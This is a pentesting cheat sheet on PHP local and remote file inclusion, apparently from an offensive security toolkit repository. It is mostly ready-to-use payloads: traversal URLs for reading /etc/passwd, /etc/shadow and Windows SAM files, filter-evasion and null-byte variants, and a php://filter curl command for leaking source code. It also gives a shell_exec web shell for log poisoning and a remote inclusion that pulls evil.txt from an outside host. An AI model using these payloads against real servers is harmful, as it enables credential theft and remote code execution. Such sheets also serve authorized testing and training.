ToolsResources/EXPLOITATION/CHEATSHEETS/file_inclusion_vulnerabilities.md · gao510551995/Lockdoor-Framework

# File Inclusion Vulnerabilities

- **fimap**

There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI): (<https://github.com/kurobeats/fimap>)

- **Gaining a shell from phpinfo()  **fimap + phpinfo() Exploit

If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.

- **For Local File Inclusions look for the include() function in PHP code.**

```ShellSession
include("lang/".$\_COOKIE\['lang'\]);

include($\_GET\['page'\].".php");
```

- **LFI - Encode and Decode a file using base64**

```ShellSession
curl -s \

"http://$ip/?page=<php://filter/convert.base64-encode/resource=index>" \

| grep -e '\\[^\\ \\]\\{40,\\}' | base64 -d
```

- **LFI - Download file with base 64 encoding**

```ShellSession
http://$ip/index.php?page=<php://filter/convert.base64-encode/resource=admin.php>
```

- **LFI Linux Files:**

```ShellSession
/etc/issue

/proc/version

/etc/profile

/etc/passwd

/etc/shadow

/root/.bash_history

/var/log/dmessage

/var/mail/root

/var/spool/cron/crontabs/root
```

- **LFI Windows Files:**

```ShellSession
%SYSTEMROOT%\\repair\\system

%SYSTEMROOT%\\repair\\SAM

%WINDIR%\\win.ini

%SYSTEMDRIVE%\\boot.ini

%WINDIR%\\Panther\\sysprep.inf

%WINDIR%\\system32\\config\\AppEvent.Evt
```

- **LFI OSX Files:**

```ShellSession
/etc/fstab

/etc/master.passwd

/etc/resolv.conf

/etc/sudoers

/etc/sysctl.conf
```

- **LFI - Download passwords file**

```ShellSession
http://$ip/index.php?page=/etc/passwd

http://$ip/index.php?file=../../../../etc/passwd
```

- **LFI - Download passwords file with filter evasion**

```ShellSession
http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
```

- **Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte**

```ShellSession
GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts%00
```

- **Contaminating Log Files**

```ShellSession
<?php echo shell\_exec($\_GET\['cmd'\]);?>
```

- For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files

- /etc/php5/cgi/php.ini\* - "allow\_url\_fopen" and "allow\_url\_include" both set to "on"

`include($\_REQUEST\["file"\].".php");`

------------------------------------------------------------------------

**Remote File Inclusion**

```ShellSession
http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt

<?php echo shell_exec("ipconfig");?>
```

gao510551995/Lockdoor-Framework

简介

发行版

贡献者

近期动态

gao510551995/Lockdoor-Framework .gitee-modal { width: 500px !important; }

简介

发行版

贡献者

近期动态

搜索帮助

gao510551995/Lockdoor-Framework